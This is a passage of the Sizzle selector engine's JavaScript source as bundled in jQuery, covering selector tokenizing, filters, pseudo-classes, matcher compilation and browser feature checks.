	return ret;
};

Expr = Sizzle.selectors = {

	// Can be adjusted by the user
	cacheLength: 50,

	createPseudo: markFunction,

	match: matchExpr,

	attrHandle: {},

	find: {},

	relative: {
		">": { dir: "parentNode", first: true },
		" ": { dir: "parentNode" },
		"+": { dir: "previousSibling", first: true },
		"~": { dir: "previousSibling" }
	},

	preFilter: {
		"ATTR": function( match ) {
			match[ 1 ] = match[ 1 ].replace( runescape, funescape );

			// Move the given value to match[3] whether quoted or unquoted
			match[ 3 ] = ( match[ 3 ] || match[ 4 ] ||
				match[ 5 ] || "" ).replace( runescape, funescape );

			if ( match[ 2 ] === "~=" ) {
				match[ 3 ] = " " + match[ 3 ] + " ";
			}

			return match.slice( 0, 4 );
		},

		"CHILD": function( match ) {

			/* matches from matchExpr["CHILD"]
				1 type (only|nth|...)
				2 what (child|of-type)
				3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
				4 xn-component of xn+y argument ([+-]?\d*n|)
				5 sign of xn-component
				6 x of xn-component
				7 sign of y-component
				8 y of y-component
			*/
			match[ 1 ] = match[ 1 ].toLowerCase();

			if ( match[ 1 ].slice( 0, 3 ) === "nth" ) {

				// nth-* requires argument
				if ( !match[ 3 ] ) {
					Sizzle.error( match[ 0 ] );
				}

				// numeric x and y parameters for Expr.filter.CHILD
				// remember that false/true cast respectively to 0/1
				match[ 4 ] = +( match[ 4 ] ?
					match[ 5 ] + ( match[ 6 ] || 1 ) :
					2 * ( match[ 3 ] === "even" || match[ 3 ] === "odd" ) );
				match[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === "odd" );

				// other types prohibit arguments
			} else if ( match[ 3 ] ) {
				Sizzle.error( match[ 0 ] );
			}

			return match;
		},

		"PSEUDO": function( match ) {
			var excess,
				unquoted = !match[ 6 ] && match[ 2 ];

			if ( matchExpr[ "CHILD" ].test( match[ 0 ] ) ) {
				return null;
			}

			// Accept quoted arguments as-is
			if ( match[ 3 ] ) {
				match[ 2 ] = match[ 4 ] || match[ 5 ] || "";

			// Strip excess characters from unquoted arguments
			} else if ( unquoted && rpseudo.test( unquoted ) &&

				// Get excess from tokenize (recursively)
				( excess = tokenize( unquoted, true ) ) &&

				// advance to the next closing parenthesis
				( excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length ) ) {

				// excess is a negative index
				match[ 0 ] = match[ 0 ].slice( 0, excess );
				match[ 2 ] = unquoted.slice( 0, excess );
			}

			// Return only captures needed by the pseudo filter method (type and argument)
			return match.slice( 0, 3 );
		}
	},

	filter: {

		"TAG": function( nodeNameSelector ) {
			var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
			return nodeNameSelector === "*" ?
				function() {
					return true;
				} :
				function( elem ) {
					return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
				};
		},

		"CLASS": function( className ) {
			var pattern = classCache[ className + " " ];

			return pattern ||
				( pattern = new RegExp( "(^|" + whitespace +
					")" + className + "(" + whitespace + "|$)" ) ) && classCache(
						className, function( elem ) {
							return pattern.test(
								typeof elem.className === "string" && elem.className ||
								typeof elem.getAttribute !== "undefined" &&
									elem.getAttribute( "class" ) ||
								""
							);
				} );
		},

		"ATTR": function( name, operator, check ) {
			return function( elem ) {
				var result = Sizzle.attr( elem, name );

				if ( result == null ) {
					return operator === "!=";
				}
				if ( !operator ) {
					return true;
				}

				result += "";

				/* eslint-disable max-len */

				return operator === "=" ? result === check :
					operator === "!=" ? result !== check :
					operator === "^=" ? check && result.indexOf( check ) === 0 :
					operator === "*=" ? check && result.indexOf( check ) > -1 :
					operator === "$=" ? check && result.slice( -check.length ) === check :
					operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 :
					operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
					false;
				/* eslint-enable max-len */

			};
		},

		"CHILD": function( type, what, _argument, first, last ) {
			var simple = type.slice( 0, 3 ) !== "nth",
				forward = type.slice( -4 ) !== "last",
				ofType = what === "of-type";

			return first === 1 && last === 0 ?

				// Shortcut for :nth-*(n)
				function( elem ) {
					return !!elem.parentNode;
				} :

				function( elem, _context, xml ) {
					var cache, uniqueCache, outerCache, node, nodeIndex, start,
						dir = simple !== forward ? "nextSibling" : "previousSibling",
						parent = elem.parentNode,
						name = ofType && elem.nodeName.toLowerCase(),
						useCache = !xml && !ofType,
						diff = false;

					if ( parent ) {

						// :(first|last|only)-(child|of-type)
						if ( simple ) {
							while ( dir ) {
								node = elem;
								while ( ( node = node[ dir ] ) ) {
									if ( ofType ?
										node.nodeName.toLowerCase() === name :
										node.nodeType === 1 ) {

										return false;
									}
								}

								// Reverse direction for :only-* (if we haven't yet done so)
								start = dir = type === "only" && !start && "nextSibling";
							}
							return true;
						}

						start = [ forward ? parent.firstChild : parent.lastChild ];

						// non-xml :nth-child(...) stores cache data on `parent`
						if ( forward && useCache ) {

							// Seek `elem` from a previously-cached index

							// ...in a gzip-friendly way
							node = parent;
							outerCache = node[ expando ] || ( node[ expando ] = {} );

							// Support: IE <9 only
							// Defend against cloned attroperties (jQuery gh-1709)
							uniqueCache = outerCache[ node.uniqueID ] ||
								( outerCache[ node.uniqueID ] = {} );

							cache = uniqueCache[ type ] || [];
							nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
							diff = nodeIndex && cache[ 2 ];
							node = nodeIndex && parent.childNodes[ nodeIndex ];

							while ( ( node = ++nodeIndex && node && node[ dir ] ||

								// Fallback to seeking `elem` from the start
								( diff = nodeIndex = 0 ) || start.pop() ) ) {

								// When found, cache indexes on `parent` and break
								if ( node.nodeType === 1 && ++diff && node === elem ) {
									uniqueCache[ type ] = [ dirruns, nodeIndex, diff ];
									break;
								}
							}

						} else {

							// Use previously-cached element index if available
							if ( useCache ) {

								// ...in a gzip-friendly way
								node = elem;
								outerCache = node[ expando ] || ( node[ expando ] = {} );

								// Support: IE <9 only
								// Defend against cloned attroperties (jQuery gh-1709)
								uniqueCache = outerCache[ node.uniqueID ] ||
									( outerCache[ node.uniqueID ] = {} );

								cache = uniqueCache[ type ] || [];
								nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
								diff = nodeIndex;
							}

							// xml :nth-child(...)
							// or :nth-last-child(...) or :nth(-last)?-of-type(...)
							if ( diff === false ) {

								// Use the same loop as above to seek `elem` from the start
								while ( ( node = ++nodeIndex && node && node[ dir ] ||
									( diff = nodeIndex = 0 ) || start.pop() ) ) {

									if ( ( ofType ?
										node.nodeName.toLowerCase() === name :
										node.nodeType === 1 ) &&
										++diff ) {

										// Cache the index of each encountered element
										if ( useCache ) {
											outerCache = node[ expando ] ||
												( node[ expando ] = {} );

											// Support: IE <9 only
											// Defend against cloned attroperties (jQuery gh-1709)
											uniqueCache = outerCache[ node.uniqueID ] ||
												( outerCache[ node.uniqueID ] = {} );

											uniqueCache[ type ] = [ dirruns, diff ];
										}

										if ( node === elem ) {
											break;
										}
									}
								}
							}
						}

						// Incorporate the offset, then check against cycle size
						diff -= last;
						return diff === first || ( diff % first === 0 && diff / first >= 0 );
					}
				};
		},

		"PSEUDO": function( pseudo, argument ) {

			// pseudo-class names are case-insensitive
			// http://www.w3.org/TR/selectors/#pseudo-classes
			// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
			// Remember that setFilters inherits from pseudos
			var args,
				fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
					Sizzle.error( "unsupported pseudo: " + pseudo );

			// The user may use createPseudo to indicate that
			// arguments are needed to create the filter function
			// just as Sizzle does
			if ( fn[ expando ] ) {
				return fn( argument );
			}

			// But maintain support for old signatures
			if ( fn.length > 1 ) {
				args = [ pseudo, pseudo, "", argument ];
				return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
					markFunction( function( seed, matches ) {
						var idx,
							matched = fn( seed, argument ),
							i = matched.length;
						while ( i-- ) {
							idx = indexOf( seed, matched[ i ] );
							seed[ idx ] = !( matches[ idx ] = matched[ i ] );
						}
					} ) :
					function( elem ) {
						return fn( elem, 0, args );
					};
			}

			return fn;
		}
	},

	pseudos: {

		// Potentially complex pseudos
		"not": markFunction( function( selector ) {

			// Trim the selector passed to compile
			// to avoid treating leading and trailing
			// spaces as combinators
			var input = [],
				results = [],
				matcher = compile( selector.replace( rtrim, "$1" ) );

			return matcher[ expando ] ?
				markFunction( function( seed, matches, _context, xml ) {
					var elem,
						unmatched = matcher( seed, null, xml, [] ),
						i = seed.length;

					// Match elements unmatched by `matcher`
					while ( i-- ) {
						if ( ( elem = unmatched[ i ] ) ) {
							seed[ i ] = !( matches[ i ] = elem );
						}
					}
				} ) :
				function( elem, _context, xml ) {
					input[ 0 ] = elem;
					matcher( input, null, xml, results );

					// Don't keep the element (issue #299)
					input[ 0 ] = null;
					return !results.pop();
				};
		} ),

		"has": markFunction( function( selector ) {
			return function( elem ) {
				return Sizzle( selector, elem ).length > 0;
			};
		} ),

		"contains": markFunction( function( text ) {
			text = text.replace( runescape, funescape );
			return function( elem ) {
				return ( elem.textContent || getText( elem ) ).indexOf( text ) > -1;
			};
		} ),

		// "Whether an element is represented by a :lang() selector
		// is based solely on the element's language value
		// being equal to the identifier C,
		// or beginning with the identifier C immediately followed by "-".
		// The matching of C against the element's language value is performed case-insensitively.
		// The identifier C does not have to be a valid language name."
		// http://www.w3.org/TR/selectors/#lang-pseudo
		"lang": markFunction( function( lang ) {

			// lang value must be a valid identifier
			if ( !ridentifier.test( lang || "" ) ) {
				Sizzle.error( "unsupported lang: " + lang );
			}
			lang = lang.replace( runescape, funescape ).toLowerCase();
			return function( elem ) {
				var elemLang;
				do {
					if ( ( elemLang = documentIsHTML ?
						elem.lang :
						elem.getAttribute( "xml:lang" ) || elem.getAttribute( "lang" ) ) ) {

						elemLang = elemLang.toLowerCase();
						return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
					}
				} while ( ( elem = elem.parentNode ) && elem.nodeType === 1 );
				return false;
			};
		} ),

		// Miscellaneous
		"target": function( elem ) {
			var hash = window.location && window.location.hash;
			return hash && hash.slice( 1 ) === elem.id;
		},

		"root": function( elem ) {
			return elem === docElem;
		},

		"focus": function( elem ) {
			return elem === document.activeElement &&
				( !document.hasFocus || document.hasFocus() ) &&
				!!( elem.type || elem.href || ~elem.tabIndex );
		},

		// Boolean properties
		"enabled": createDisabledPseudo( false ),
		"disabled": createDisabledPseudo( true ),

		"checked": function( elem ) {

			// In CSS3, :checked should return both checked and selected elements
			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
			var nodeName = elem.nodeName.toLowerCase();
			return ( nodeName === "input" && !!elem.checked ) ||
				( nodeName === "option" && !!elem.selected );
		},

		"selected": function( elem ) {

			// Accessing this property makes selected-by-default
			// options in Safari work properly
			if ( elem.parentNode ) {
				// eslint-disable-next-line no-unused-expressions
				elem.parentNode.selectedIndex;
			}

			return elem.selected === true;
		},

		// Contents
		"empty": function( elem ) {

			// http://www.w3.org/TR/selectors/#empty-pseudo
			// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
			//   but not by others (comment: 8; processing instruction: 7; etc.)
			// nodeType < 6 works because attributes (2) do not appear as children
			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
				if ( elem.nodeType < 6 ) {
					return false;
				}
			}
			return true;
		},

		"parent": function( elem ) {
			return !Expr.pseudos[ "empty" ]( elem );
		},

		// Element/input types
		"header": function( elem ) {
			return rheader.test( elem.nodeName );
		},

		"input": function( elem ) {
			return rinputs.test( elem.nodeName );
		},

		"button": function( elem ) {
			var name = elem.nodeName.toLowerCase();
			return name === "input" && elem.type === "button" || name === "button";
		},

		"text": function( elem ) {
			var attr;
			return elem.nodeName.toLowerCase() === "input" &&
				elem.type === "text" &&

				// Support: IE<8
				// New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
				( ( attr = elem.getAttribute( "type" ) ) == null ||
					attr.toLowerCase() === "text" );
		},

		// Position-in-collection
		"first": createPositionalPseudo( function() {
			return [ 0 ];
		} ),

		"last": createPositionalPseudo( function( _matchIndexes, length ) {
			return [ length - 1 ];
		} ),

		"eq": createPositionalPseudo( function( _matchIndexes, length, argument ) {
			return [ argument < 0 ? argument + length : argument ];
		} ),

		"even": createPositionalPseudo( function( matchIndexes, length ) {
			var i = 0;
			for ( ; i < length; i += 2 ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} ),

		"odd": createPositionalPseudo( function( matchIndexes, length ) {
			var i = 1;
			for ( ; i < length; i += 2 ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} ),

		"lt": createPositionalPseudo( function( matchIndexes, length, argument ) {
			var i = argument < 0 ?
				argument + length :
				argument > length ?
					length :
					argument;
			for ( ; --i >= 0; ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} ),

		"gt": createPositionalPseudo( function( matchIndexes, length, argument ) {
			var i = argument < 0 ? argument + length : argument;
			for ( ; ++i < length; ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} )
	}
};

Expr.pseudos[ "nth" ] = Expr.pseudos[ "eq" ];

// Add button/input type pseudos
for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
	Expr.pseudos[ i ] = createInputPseudo( i );
}
for ( i in { submit: true, reset: true } ) {
	Expr.pseudos[ i ] = createButtonPseudo( i );
}

// Easy API for creating new setFilters
function setFilters() {}
setFilters.prototype = Expr.filters = Expr.pseudos;
Expr.setFilters = new setFilters();

tokenize = Sizzle.tokenize = function( selector, parseOnly ) {
	var matched, match, tokens, type,
		soFar, groups, preFilters,
		cached = tokenCache[ selector + " " ];

	if ( cached ) {
		return parseOnly ? 0 : cached.slice( 0 );
	}

	soFar = selector;
	groups = [];
	preFilters = Expr.preFilter;

	while ( soFar ) {

		// Comma and first run
		if ( !matched || ( match = rcomma.exec( soFar ) ) ) {
			if ( match ) {

				// Don't consume trailing commas as valid
				soFar = soFar.slice( match[ 0 ].length ) || soFar;
			}
			groups.push( ( tokens = [] ) );
		}

		matched = false;

		// Combinators
		if ( ( match = rcombinators.exec( soFar ) ) ) {
			matched = match.shift();
			tokens.push( {
				value: matched,

				// Cast descendant combinators to space
				type: match[ 0 ].replace( rtrim, " " )
			} );
			soFar = soFar.slice( matched.length );
		}

		// Filters
		for ( type in Expr.filter ) {
			if ( ( match = matchExpr[ type ].exec( soFar ) ) && ( !preFilters[ type ] ||
				( match = preFilters[ type ]( match ) ) ) ) {
				matched = match.shift();
				tokens.push( {
					value: matched,
					type: type,
					matches: match
				} );
				soFar = soFar.slice( matched.length );
			}
		}

		if ( !matched ) {
			break;
		}
	}

	// Return the length of the invalid excess
	// if we're just parsing
	// Otherwise, throw an error or return tokens
	return parseOnly ?
		soFar.length :
		soFar ?
			Sizzle.error( selector ) :

			// Cache the tokens
			tokenCache( selector, groups ).slice( 0 );
};

function toSelector( tokens ) {
	var i = 0,
		len = tokens.length,
		selector = "";
	for ( ; i < len; i++ ) {
		selector += tokens[ i ].value;
	}
	return selector;
}

function addCombinator( matcher, combinator, base ) {
	var dir = combinator.dir,
		skip = combinator.next,
		key = skip || dir,
		checkNonElements = base && key === "parentNode",
		doneName = done++;

	return combinator.first ?

		// Check against closest ancestor/preceding element
		function( elem, context, xml ) {
			while ( ( elem = elem[ dir ] ) ) {
				if ( elem.nodeType === 1 || checkNonElements ) {
					return matcher( elem, context, xml );
				}
			}
			return false;
		} :

		// Check against all ancestor/preceding elements
		function( elem, context, xml ) {
			var oldCache, uniqueCache, outerCache,
				newCache = [ dirruns, doneName ];

			// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching
			if ( xml ) {
				while ( ( elem = elem[ dir ] ) ) {
					if ( elem.nodeType === 1 || checkNonElements ) {
						if ( matcher( elem, context, xml ) ) {
							return true;
						}
					}
				}
			} else {
				while ( ( elem = elem[ dir ] ) ) {
					if ( elem.nodeType === 1 || checkNonElements ) {
						outerCache = elem[ expando ] || ( elem[ expando ] = {} );

						// Support: IE <9 only
						// Defend against cloned attroperties (jQuery gh-1709)
						uniqueCache = outerCache[ elem.uniqueID ] ||
							( outerCache[ elem.uniqueID ] = {} );

						if ( skip && skip === elem.nodeName.toLowerCase() ) {
							elem = elem[ dir ] || elem;
						} else if ( ( oldCache = uniqueCache[ key ] ) &&
							oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {

							// Assign to newCache so results back-propagate to previous elements
							return ( newCache[ 2 ] = oldCache[ 2 ] );
						} else {

							// Reuse newcache so results back-propagate to previous elements
							uniqueCache[ key ] = newCache;

							// A match means we're done; a fail means we have to keep checking
							if ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) {
								return true;
							}
						}
					}
				}
			}
			return false;
		};
}

function elementMatcher( matchers ) {
	return matchers.length > 1 ?
		function( elem, context, xml ) {
			var i = matchers.length;
			while ( i-- ) {
				if ( !matchers[ i ]( elem, context, xml ) ) {
					return false;
				}
			}
			return true;
		} :
		matchers[ 0 ];
}

function multipleContexts( selector, contexts, results ) {
	var i = 0,
		len = contexts.length;
	for ( ; i < len; i++ ) {
		Sizzle( selector, contexts[ i ], results );
	}
	return results;
}

function condense( unmatched, map, filter, context, xml ) {
	var elem,
		newUnmatched = [],
		i = 0,
		len = unmatched.length,
		mapped = map != null;

	for ( ; i < len; i++ ) {
		if ( ( elem = unmatched[ i ] ) ) {
			if ( !filter || filter( elem, context, xml ) ) {
				newUnmatched.push( elem );
				if ( mapped ) {
					map.push( i );
				}
			}
		}
	}

	return newUnmatched;
}

function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
	if ( postFilter && !postFilter[ expando ] ) {
		postFilter = setMatcher( postFilter );
	}
	if ( postFinder && !postFinder[ expando ] ) {
		postFinder = setMatcher( postFinder, postSelector );
	}
	return markFunction( function( seed, results, context, xml ) {
		var temp, i, elem,
			preMap = [],
			postMap = [],
			preexisting = results.length,

			// Get initial elements from seed or context
			elems = seed || multipleContexts(
				selector || "*",
				context.nodeType ? [ context ] : context,
				[]
			),

			// Prefilter to get matcher input, preserving a map for seed-results synchronization
			matcherIn = preFilter && ( seed || !selector ) ?
				condense( elems, preMap, preFilter, context, xml ) :
				elems,

			matcherOut = matcher ?

				// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
				postFinder || ( seed ? preFilter : preexisting || postFilter ) ?

					// ...intermediate processing is necessary
					[] :

					// ...otherwise use results directly
					results :
				matcherIn;

		// Find primary matches
		if ( matcher ) {
			matcher( matcherIn, matcherOut, context, xml );
		}

		// Apply postFilter
		if ( postFilter ) {
			temp = condense( matcherOut, postMap );
			postFilter( temp, [], context, xml );

			// Un-match failing elements by moving them back to matcherIn
			i = temp.length;
			while ( i-- ) {
				if ( ( elem = temp[ i ] ) ) {
					matcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem );
				}
			}
		}

		if ( seed ) {
			if ( postFinder || preFilter ) {
				if ( postFinder ) {

					// Get the final matcherOut by condensing this intermediate into postFinder contexts
					temp = [];
					i = matcherOut.length;
					while ( i-- ) {
						if ( ( elem = matcherOut[ i ] ) ) {

							// Restore matcherIn since elem is not yet a final match
							temp.push( ( matcherIn[ i ] = elem ) );
						}
					}
					postFinder( null, ( matcherOut = [] ), temp, xml );
				}

				// Move matched elements from seed to results to keep them synchronized
				i = matcherOut.length;
				while ( i-- ) {
					if ( ( elem = matcherOut[ i ] ) &&
						( temp = postFinder ? indexOf( seed, elem ) : preMap[ i ] ) > -1 ) {

						seed[ temp ] = !( results[ temp ] = elem );
					}
				}
			}

		// Add elements to results, through postFinder if defined
		} else {
			matcherOut = condense(
				matcherOut === results ?
					matcherOut.splice( preexisting, matcherOut.length ) :
					matcherOut
			);
			if ( postFinder ) {
				postFinder( null, results, matcherOut, xml );
			} else {
				push.apply( results, matcherOut );
			}
		}
	} );
}

function matcherFromTokens( tokens ) {
	var checkContext, matcher, j,
		len = tokens.length,
		leadingRelative = Expr.relative[ tokens[ 0 ].type ],
		implicitRelative = leadingRelative || Expr.relative[ " " ],
		i = leadingRelative ? 1 : 0,

		// The foundational matcher ensures that elements are reachable from top-level context(s)
		matchContext = addCombinator( function( elem ) {
			return elem === checkContext;
		}, implicitRelative, true ),
		matchAnyContext = addCombinator( function( elem ) {
			return indexOf( checkContext, elem ) > -1;
		}, implicitRelative, true ),
		matchers = [ function( elem, context, xml ) {
			var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
				( checkContext = context ).nodeType ?
					matchContext( elem, context, xml ) :
					matchAnyContext( elem, context, xml ) );

			// Avoid hanging onto element (issue #299)
			checkContext = null;
			return ret;
		} ];

	for ( ; i < len; i++ ) {
		if ( ( matcher = Expr.relative[ tokens[ i ].type ] ) ) {
			matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ];
		} else {
			matcher = Expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches );

			// Return special upon seeing a positional matcher
			if ( matcher[ expando ] ) {

				// Find the next relative operator (if any) for proper handling
				j = ++i;
				for ( ; j < len; j++ ) {
					if ( Expr.relative[ tokens[ j ].type ] ) {
						break;
					}
				}
				return setMatcher(
					i > 1 && elementMatcher( matchers ),
					i > 1 && toSelector(

					// If the preceding token was a descendant combinator, insert an implicit any-element `*`
					tokens
						.slice( 0, i - 1 )
						.concat( { value: tokens[ i - 2 ].type === " " ? "*" : "" } )
					).replace( rtrim, "$1" ),
					matcher,
					i < j && matcherFromTokens( tokens.slice( i, j ) ),
					j < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ),
					j < len && toSelector( tokens )
				);
			}
			matchers.push( matcher );
		}
	}

	return elementMatcher( matchers );
}

function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
	var bySet = setMatchers.length > 0,
		byElement = elementMatchers.length > 0,
		superMatcher = function( seed, context, xml, results, outermost ) {
			var elem, j, matcher,
				matchedCount = 0,
				i = "0",
				unmatched = seed && [],
				setMatched = [],
				contextBackup = outermostContext,

				// We must always have either seed elements or outermost context
				elems = seed || byElement && Expr.find[ "TAG" ]( "*", outermost ),

				// Use integer dirruns iff this is the outermost matcher
				dirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 ),
				len = elems.length;

			if ( outermost ) {

				// Support: IE 11+, Edge 17 - 18+
				// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
				// two documents; shallow comparisons work.
				// eslint-disable-next-line eqeqeq
				outermostContext = context == document || context || outermost;
			}

			// Add elements passing elementMatchers directly to results
			// Support: IE<9, Safari
			// Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
			for ( ; i !== len && ( elem = elems[ i ] ) != null; i++ ) {
				if ( byElement && elem ) {
					j = 0;

					// Support: IE 11+, Edge 17 - 18+
					// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
					// two documents; shallow comparisons work.
					// eslint-disable-next-line eqeqeq
					if ( !context && elem.ownerDocument != document ) {
						setDocument( elem );
						xml = !documentIsHTML;
					}
					while ( ( matcher = elementMatchers[ j++ ] ) ) {
						if ( matcher( elem, context || document, xml ) ) {
							results.push( elem );
							break;
						}
					}
					if ( outermost ) {
						dirruns = dirrunsUnique;
					}
				}

				// Track unmatched elements for set filters
				if ( bySet ) {

					// They will have gone through all possible matchers
					if ( ( elem = !matcher && elem ) ) {
						matchedCount--;
					}

					// Lengthen the array for every element, matched or not
					if ( seed ) {
						unmatched.push( elem );
					}
				}
			}

			// `i` is now the count of elements visited above, and adding it to `matchedCount`
			// makes the latter nonnegative.
			matchedCount += i;

			// Apply set filters to unmatched elements
			// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`
			// equals `i`), unless we didn't visit _any_ elements in the above loop because we have
			// no element matchers and no seed.
			// Incrementing an initially-string "0" `i` allows `i` to remain a string only in that
			// case, which will result in a "00" `matchedCount` that differs from `i` but is also
			// numerically zero.
			if ( bySet && i !== matchedCount ) {
				j = 0;
				while ( ( matcher = setMatchers[ j++ ] ) ) {
					matcher( unmatched, setMatched, context, xml );
				}

				if ( seed ) {

					// Reintegrate element matches to eliminate the need for sorting
					if ( matchedCount > 0 ) {
						while ( i-- ) {
							if ( !( unmatched[ i ] || setMatched[ i ] ) ) {
								setMatched[ i ] = pop.call( results );
							}
						}
					}

					// Discard index placeholder values to get only actual matches
					setMatched = condense( setMatched );
				}

				// Add matches to results
				push.apply( results, setMatched );

				// Seedless set matches succeeding multiple successful matchers stipulate sorting
				if ( outermost && !seed && setMatched.length > 0 &&
					( matchedCount + setMatchers.length ) > 1 ) {

					Sizzle.uniqueSort( results );
				}
			}

			// Override manipulation of globals by nested matchers
			if ( outermost ) {
				dirruns = dirrunsUnique;
				outermostContext = contextBackup;
			}

			return unmatched;
		};

	return bySet ?
		markFunction( superMatcher ) :
		superMatcher;
}

compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
	var i,
		setMatchers = [],
		elementMatchers = [],
		cached = compilerCache[ selector + " " ];

	if ( !cached ) {

		// Generate a function of recursive functions that can be used to check each element
		if ( !match ) {
			match = tokenize( selector );
		}
		i = match.length;
		while ( i-- ) {
			cached = matcherFromTokens( match[ i ] );
			if ( cached[ expando ] ) {
				setMatchers.push( cached );
			} else {
				elementMatchers.push( cached );
			}
		}

		// Cache the compiled function
		cached = compilerCache(
			selector,
			matcherFromGroupMatchers( elementMatchers, setMatchers )
		);

		// Save selector and tokenization
		cached.selector = selector;
	}
	return cached;
};

/**
 * A low-level selection function that works with Sizzle's compiled
 *  selector functions
 * @param {String|Function} selector A selector or a pre-compiled
 *  selector function built with Sizzle.compile
 * @param {Element} context
 * @param {Array} [results]
 * @param {Array} [seed] A set of elements to match against
 */
select = Sizzle.select = function( selector, context, results, seed ) {
	var i, tokens, token, type, find,
		compiled = typeof selector === "function" && selector,
		match = !seed && tokenize( ( selector = compiled.selector || selector ) );

	results = results || [];

	// Try to minimize operations if there is only one selector in the list and no seed
	// (the latter of which guarantees us context)
	if ( match.length === 1 ) {

		// Reduce context if the leading compound selector is an ID
		tokens = match[ 0 ] = match[ 0 ].slice( 0 );
		if ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === "ID" &&
			context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[ 1 ].type ] ) {

			context = ( Expr.find[ "ID" ]( token.matches[ 0 ]
				.replace( runescape, funescape ), context ) || [] )[ 0 ];
			if ( !context ) {
				return results;

			// Precompiled matchers will still verify ancestry, so step up a level
			} else if ( compiled ) {
				context = context.parentNode;
			}

			selector = selector.slice( tokens.shift().value.length );
		}

		// Fetch a seed set for right-to-left matching
		i = matchExpr[ "needsContext" ].test( selector ) ? 0 : tokens.length;
		while ( i-- ) {
			token = tokens[ i ];

			// Abort if we hit a combinator
			if ( Expr.relative[ ( type = token.type ) ] ) {
				break;
			}
			if ( ( find = Expr.find[ type ] ) ) {

				// Search, expanding context for leading sibling combinators
				if ( ( seed = find(
					token.matches[ 0 ].replace( runescape, funescape ),
					rsibling.test( tokens[ 0 ].type ) && testContext( context.parentNode ) ||
						context
				) ) ) {

					// If seed is empty or no tokens remain, we can return early
					tokens.splice( i, 1 );
					selector = seed.length && toSelector( tokens );
					if ( !selector ) {
						push.apply( results, seed );
						return results;
					}

					break;
				}
			}
		}
	}

	// Compile and execute a filtering function if one is not provided
	// Provide `match` to avoid retokenization if we modified the selector above
	( compiled || compile( selector, match ) )(
		seed,
		context,
		!documentIsHTML,
		results,
		!context || rsibling.test( selector ) && testContext( context.parentNode ) || context
	);
	return results;
};

// One-time assignments

// Sort stability
support.sortStable = expando.split( "" ).sort( sortOrder ).join( "" ) === expando;

// Support: Chrome 14-35+
// Always assume duplicates if they aren't passed to the comparison function
support.detectDuplicates = !!hasDuplicate;

// Initialize against the default document
setDocument();

// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
// Detached nodes confoundingly follow *each other*
support.sortDetached = assert( function( el ) {

	// Should return 1, but returns 4 (following)
	return el.compareDocumentPosition( document.createElement( "fieldset" ) ) & 1;
} );

// Support: IE<8
// Prevent attribute/property "interpolation"
// https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
if ( !assert( function( el ) {
	el.innerHTML = "<a href='#'></a>";
	return el.firstChild.getAttribute( "href" ) === "#";
} ) ) {
	addHandle( "type|href|height|width", function( elem, name, isXML ) {
		if ( !isXML ) {
			return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
		}
	} );
}

// Support: IE<9
// Use defaultValue in place of getAttribute("value")
if ( !support.attributes || !assert( function( el ) {
	el.innerHTML = "<input/>";
	el.firstChild.setAttribute( "value", "" );
	return el.firstChild.getAttribute( "value" ) === "";
} ) ) {
	addHandle( "value", function( elem, _name, isXML ) {
		if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
			return elem.defaultValue;
		}
	} );
}

// Support: IE<9
// Use getAttributeNode to fetch booleans when getAttribute lies
if ( !assert( function( el ) {
	return el.getAttribute( "disabled" ) == null;
} ) ) {
	addHandle( booleans, function( elem, name, isXML ) {
		var val;
		if ( !isXML ) {
			return elem[ name ] === true ? name.toLowerCase() :
				( val = elem.getAttributeNode( name ) ) && val.specified ?
					val.value :
					null;
		}
	} );
}

return Sizzle;

} )( window );



jQuery.find = Sizzle;
jQuery.expr = Sizzle.selectors;

// Deprecated
jQuery.expr[ ":" ] = jQuery.expr.pseudos;
jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;
jQuery.text = Sizzle.getText;
jQuery.isXMLDoc = Sizzle.isXML;
jQuery.contains = Sizzle.contains;
jQuery.escapeSelector = Sizzle.escape;




var dir = function( elem, dir, until ) {
	var matched = [],
		truncate = until !== undefined;

